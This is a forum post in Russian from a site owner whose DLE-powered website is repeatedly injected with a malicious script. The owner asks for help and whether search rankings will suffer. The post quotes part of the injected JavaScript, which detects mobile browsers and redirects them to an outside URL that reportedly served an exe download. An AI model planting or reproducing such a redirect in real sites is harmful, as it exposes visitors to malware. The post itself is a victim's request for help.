Что за вирус?

В течении уже доброго месяца регулярно на сайте (и в его смартверсии) появляется в хтмл-шаблоне сайта жава-скрипт такого типа: -if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk|bada|windows phone)/i)!==null){ window.location = "http://httpupd.com/s/4676" (кусок кода).При открытии самого сайта автоматически скачивался на компьютер пользователя файл exe, сейчас после запрета на такого типа файлы не скачивается, однако регулярно продолжают вживлять скрипт в тело сайта.
Пострадают ли позиции сайта из-за вируса?
Сайт на ДЛЕ. Обновления движка и смена кода к фтп не принесли пользы.
Посоветуйте что-то.